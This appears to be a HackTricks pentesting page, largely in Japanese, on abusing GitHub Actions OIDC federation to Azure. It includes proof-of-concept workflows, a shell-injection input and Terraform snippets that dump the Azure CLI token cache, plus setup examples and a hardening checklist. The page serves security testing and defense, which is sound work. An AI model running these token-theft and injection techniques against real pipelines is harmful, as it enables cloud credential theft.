# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

{{#include ../../../banners/hacktricks-training.md}}

## 概要

GitHub ActionsはOpenID Connect (OIDC)を用いてAzure Entra ID（旧Azure AD）とフェデレーションできます。GitHub workflowは、実行の詳細をエンコードした短命のGitHub ID token (JWT)を要求します。AzureはこのトークンをApp Registration（service principal）上のFederated Identity Credential (FIC)に対して検証し、Azureアクセス トークン（MSALキャッシュ、Azure API向けのbearerトークン）と交換します。

Azureが少なくとも検証する項目:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange （Azureトークンと交換する際）
- sub: 設定されたFIC Subject identifierと一致している必要がある

> デフォルトのGitHub audはGitHubのURLである場合がある。Azureと交換する際は、明示的に audience=api://AzureADTokenExchange を設定する。

## GitHub ID token 簡易 PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
トークン要求時に Azure の audience を強制するには：
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure セットアップ (Workload Identity Federation)

1) App Registration (service principal) を作成し、最小権限を付与する（例：特定の storage account に対して Storage Blob Data Contributor）。

2) Federated identity credentials を追加する:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: 対象の workflow/run コンテキストに厳密にスコープすること（下の Scoping and risks を参照）。

3) azure/login を使って GitHub ID token を交換し、Azure CLI にサインインする:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
手動交換の例 (Graph scope を示す; ARM やその他の resources も同様):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) の構造とカスタマイズ

デフォルトの sub 形式: repo:<org>/<repo>:<context>

Context の値には次が含まれる:
- environment:<env>
- pull_request (environment が指定されていない場合に PR がトリガーされる)
- ref:refs/(heads|tags)/<name>

ペイロードに含まれることが多い有用なクレーム:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

GitHub API を使って sub の構成をカスタマイズし、追加の claims を含めて衝突リスクを減らす:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
注意: 環境名のコロンは URL エンコードされており (%3A)、sub parsing に対する古い delimiter‑injection の手口を排除します。ただし、non‑unique な subjects（例: environment:<name> のみ）を使うのは依然として unsafe です。

## FIC サブジェクトタイプの範囲とリスク

- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- リスク: branch/tag が保護されていない場合、任意の contributor が push して tokens を取得できる。
- Environment: sub=repo:<org>/<repo>:environment:<env>
- リスク: Unprotected environments（レビューアがいない）だと、contributors が tokens を mint できる。
- Pull request: sub=repo:<org>/<repo>:pull_request
- 最も高いリスク: 任意の collaborator が PR を開き、FIC を満たせる。

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
関連ファイルの場所とメモ:
- Linux/macOS: ~/.azure/msal_token_cache.json は az CLI セッション用の MSAL tokens を保持します
- Windows: msal_token_cache.bin はユーザープロファイル内にあり; DPAPI‑protected

## 再利用ワークフローと job_workflow_ref のスコープ

再利用ワークフローを呼び出すと、job_workflow_ref が GitHub ID token に追加されます。例:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
呼び出し元リポジトリと再利用可能なワークフローの両方をバインドするためのFICの例：
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
caller repoでclaimsを構成して、repoとjob_workflow_refの両方がsubに含まれるようにしてください:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
警告: FICでjob_workflow_refだけをバインドすると、攻撃者が同じ組織内に別のリポジトリを作成し、同じrefで同じ再利用可能なワークフローを実行してFICを満たし、トークンをミントする可能性があります。常に呼び出し元リポジトリも含めてください。

## job_workflow_refの保護を回避するコード実行ベクター

適切にスコープされたjob_workflow_refがあっても、シェルに安全にクオートされずに到達する呼び出し元が制御するデータは、保護されたワークフローコンテキスト内でのコード実行につながる可能性があります。

再利用可能なステップの脆弱な例（未クオートの補間）：
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
コマンドを実行し、Azure のトークン キャッシュを持ち出すための悪意のある呼び出し元の入力：
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## PRsにおける実行プリミティブとしての Terraform plan

terraform plan をコード実行として扱う。  
plan 実行中、Terraform は以下が可能：
- file() のような関数を介して任意のファイルを読み取る
- external data source を介してコマンドを実行する

plan 実行中に Azure token cache を抜き出す例：
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
または external を使って任意のコマンドを実行する:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

## ハードニングチェックリスト

- 機密性の高い FICs に対して sub=...:pull_request を使用しない
- FICs で参照される branch/tag/environment を保護する（branch protection、environment reviewers）
- reusable workflows 用には repo と job_workflow_ref の両方にスコープされた FICs を優先する
- GitHub OIDC の sub をカスタマイズしてユニークなクレーム（例: repo, job_workflow_ref, repository_owner）を含める
- caller inputs の未引用インターポレーションを run ステップに埋め込むことを排除する；安全にエンコード／引用する
- terraform plan をコード実行として扱い、PR コンテキストではアイデンティティを制限または分離する
- App Registrations に最小権限を適用し、plan と apply のアイデンティティを分離する
- actions と reusable workflows をコミット SHA にピン留めする（branch/tag ピンは避ける）

## 手動テストのヒント

- ワークフロー内で GitHub ID token を要求し、マスキングを避けるため base64 で出力する
- JWT をデコードしてクレームを確認する: iss, aud, sub, job_workflow_ref, repository, ref
- ID token を手動で login.microsoftonline.com に対して交換し、FIC の一致とスコープを確認する
- azure/login の後で ~/.azure/msal_token_cache.json を読み、トークン素材の存在を検証する

## 参考

- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)

{{#include ../../../banners/hacktricks-training.md}}
